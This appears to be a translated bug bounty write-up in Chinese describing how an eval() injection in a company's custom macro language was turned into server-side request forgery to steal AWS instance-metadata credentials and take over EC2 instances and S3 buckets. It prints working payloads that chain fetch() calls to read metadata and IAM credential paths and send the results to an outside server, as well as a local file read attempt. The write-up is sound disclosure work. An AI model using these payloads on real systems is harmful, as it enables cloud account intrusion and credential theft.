看我如何通过nodejs中的SSRF完全控制aws

DarkEye 漏洞 2018年12月18日发布
Favorite收藏

导语:​这是作者在hackerone上一个私人漏洞奖金计划中发现的一个漏洞,发现,利用和写报告足足花了12个半小时。通过这次挖洞,作者学到了很多东西,所以想在此跟大家分享一下。

这是我在hackerone上一个私人漏洞奖金计划中发现的一个漏洞,发现,利用和写报告足足花了我12个半小时,都不带休息的。通过这个漏洞,我可以获取到AWS的凭证,我可以完全入侵该公司的账号:现在我手里有20个buckets和80个EC2实例。另外,这是我挖洞生涯中最有意思的漏洞,学到了很多东西,所以想在此给大家分享一下。

介绍

刚才说过,这是一个私人奖金项目,所以公司名就不方便透露了,我们就叫它ArticMonkey吧。

为了实现他们的web应用程序,ArticMonkey公司开发了一套自定义的宏语言,就叫做Banana++吧。我不知道这个Banan++这个语言最初是基于什么语言开发的,但是从web应用中,我发现了一个JavaScript版本信息,所以我决定深入挖掘一下。

原始的banan++.js文件已经压缩过了,但文件还是有点大,压缩后2.1M,美化后2.5M,56441行,2546981个字符,崩溃。当然,我没有读完整个代码,只是搜索了一些Banan++特定的一些关键词,在3348行定位到了第一个函数,整个文件大概有135个函数,既然有这么多函数,那我就可以对这些函数进行分析,发挥我的专业技能了。

发现问题

我开始从头看代码,但是大部分函数都是进行数据操作或者是数学运算符,没有什么可疑的或危险的。找了一会儿,我终于发现了一个Union()函数,可能有戏,代码如下:

1.png

仔细看代码,注意到有一个奇怪的eval()函数,是不是很惊喜,我把代码复制到一个本地的HTML文件中以便进行多次测试。

这个函数可以接收无限个参数,不过第三个参数开始才是有用的参数。这个函数是借助第二个参数来比较第一个参数和第三个参数的,然后测试第4个,第5个等等。通常的用法是这样的,Union(1,’<’,3),如果这些测试中至少有一个为真,那么返回值为true,否则为false。

然而,该函数却没有对参数的类型和值进行过滤和净化,于是我就利用alert()来进行测试,alert()是我最新换的调试器,我发现可以通过不同的方法来触发漏洞利用,如图所示:

2.png

注入点

现在我们有了一个危险的函数,这已经是一个很好的开始了,不过我们真正需要的是用户输入的地方来注入恶意代码。我记得在使用Banan++函数时看到过一些post参数,于是在Burp的历史记录中找了找,请求响应如下:

3.png

4.png

可以看到有一个operation参数,可以进行测试一下。

开始注入

由于我对Banan++一无所知,所以我得先进行一些测试来看看我可以注入何种类型的代码,下面是一些手工模糊测试,

{...REDACTED...,"operation":"'\"><"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":null}[]
{...REDACTED...,"operation":"0"}[]
{...REDACTED...,"operation":"1"}[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"a"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"a=1"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"alert"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"alert()"}{"status":400,"message":"Function 'alert' is not defined"}
{...REDACTED...,"operation":"Union()"}[]

通过这些测试,我总结了以下几点:

不能注入任意的JavaScript代码

可以注入Banan++函数

响应似乎只有真假两种,取决于参数operation的真假,这对于验证我注入的代码是否有效非常有帮助。

下面我们继续来对Union()函数进行模糊测试:

{...REDACTED...,"operation":"Union(1,2,3)"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union(a,b,c)"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union('a','b','c')"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union('a';'b';'c')"}[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'2';'3')"}[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'<';'3')"}[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'>';'3')"}[]]

测试效果非常完美,如果测试1<3,响应结果就会包含有效的数据(true),如果测试1>3,响应结果为空(false)。参数必须要用分号来分隔。下面我就要开始尝试一些真正的攻击了。

fetch是新的XMLHttpRequest异步请求

因为请求是对api的一种ajax调用,而且只返回json数据,显然不是一个客户端注入。而且通过前面的报告,我知道ArticMonkey倾向于在服务端使用大量的JavaScript。

不过,这些都不重要,因为我得尝试所有东西,可能无意中就能触发一个错误,暴露了运行着JavaScript代码的系统的一些敏感信息。因为我进行了本地测试,所以我知道如何准确的注入恶意代码。我测试了基础的xss payload和错误格式的JavaScript代码,不过得到的错误跟前面的一样。

然后我尝试发起HTTP请求。

首先进行ajax调用:

x = new XMLHttpRequest;
x.open( 'GET','https://poc.myserver.com' );
x.send();

但是没有什么收获,于是我尝试了HTML注入:

i = document.createElement( 'img' );
i.src = '<img src="https://poc.myserver.com/xxx.png">';
document.body.appendChild( i );

还是没有任何收获,继续尝试:

document.body.innerHTML += '<img src="https://poc.myserver.com/xxx.png">';
document.body.innerHTML += '<iframe src="https://poc.myserver.com">';

结果还是一样,没有收获。

有时候,你要进行一些很脑残的测试,你才知道系统设计的有多愚蠢。显然,这里尝试着去渲染HTML代码是有问题的。回到ajax请求,我在这里卡了一段时间,花了很长时间才明白它是如何工作的。

最后我想起来ArticMonkey在前端使用的是ReactJS,后来我才了解到他们在服务器端使用的是nodeJS。于是我Google了一下,如何使用ReactJS执行ajax请求,并最终在官方文档中找到了解决方案,该方案将我引导到fetch()函数,这是执行ajax调用的新标准,而这就是关键之处:

于是我尝试了如下注入:

fetch('https://poc.myserver.com')

执行之后,立刻就在Apache日志里面生成了一行新纪录。

首先要能ping通我的服务器,不过它是一个blind SSRF,我没有收到响应。于是我想着把两个请求串联起来,第二个请求能够发送第一个请求的结果,如下:

x1 = new XMLHttpRequest;x1.open( 'GET','https://...', false );x1.send();r = x1.responseText;
x2 = new XMLHttpRequest;x2.open( 'GET','https://poc.myserver.com/?r='+r, false );x2.send();

接着我再使用fetch()函数的正确语法上又花了不少时间,这还多亏了stackoverflow上的一个问题。

最后我的payload如下,运行得非常顺利:

fetch('https://...').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

windows上的SSRF

首先,我尝试读取本地文件:

fetch('file:///etc/issue').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

不过Apache日志文件中的响应(r参数)却是空的。

由于我发现了与ArticMonkey(也就是articmonkey-xxx)相关的S3 buckets,所以我猜想这家公司的webapp可能也使用了AWS服务器(这个也可以在某些想拥抱的header信息中得到确认:x-cache:Hit from cloudfront)。如此一来,我就迅速的转移注意力到了最常见的云实例的SSRF URL中了。

当我尝试访问实例的元数据时,响应包中正是我想要的结果,这很nice

5.png

对输出结果解码后,返回的是遍历出来的目录

6.png

最终payload

{...REDACTED...,"operation":"Union('1';'2;fetch(\"http://169.254.169.254/latest/meta-data/\").then(res=>res.text()).then((r)=>fetch(\"https://poc.myserver.com/?r=\"+r));';'3')"}

因为我是第一次接触AWS元数据,所以我对它一无所知,我花了很长的时间来研究所有的目录和文件,如你所见,最有用的文件是这个http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>,如下所示:

7.png

利用凭证

那时候,我本以为可以到此为止了。不过,对于写poc来说,我想展示这个漏洞的严重性,我想搞到一些非常有价值的东西。所以我尝试使用这些凭证来模拟公司。首先你要知道这些凭证是临时的,有效期很短,大概5分钟左右。不过没关系,5分钟也足够了,我可以更新我自己的凭证,就是复制粘贴而已,我可以搞定的。

我还在Twitter上咨询过关于SSRF和AWS的问题,真的非常感谢大佬的指教。最终在这里找到了解决方案。我所犯的错误就是没有好好阅读官方文档,只是使用了AccessKeyID和SecretAccessKey,但是并没有效果,token也必须要导出。

8.png

使用下列命令来确认我的身份,表明我的身份已经发生了变化:

aws sts get-caller-identity

然后

9.png

左图:经过ArticMonkey配置过的EC2实例列表。可能是他们系统的大部分实例或者是全部。

右图:该公司拥有20个buckets,包括用户的高度敏感的数据,web应用的静态文件,还有,依据buckets名字可能是他们服务器的日志或者备份文件。

这个漏洞的影响可以说是非常致命了。

总结

从这个漏洞中我学到了很多东西:

ReactJS,fetch()函数,AWS元数据。

RTFM!官方文档始终是有用信息的重要来源。

每一步都会产生问题,我不得不大量查资料搜索,尝试不同的事情,也需要竭尽全力,不轻易放弃。

现在我知道我可以从0开始到完全入侵一个系统,这是一个非常不错的个人成就,我对此也感觉到很满意。

所以,当有人告诉你无法完成某些事情时,记住,不要跟这些人浪费口舌,用行动来证明他们是错的。

本文翻译自:http://10degres.net/aws-takeover-ssrf-javascript/如若转载,请注明原文地址: https://www.4hou.com/vulnerable/15088.html
点赞 7
AWS
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论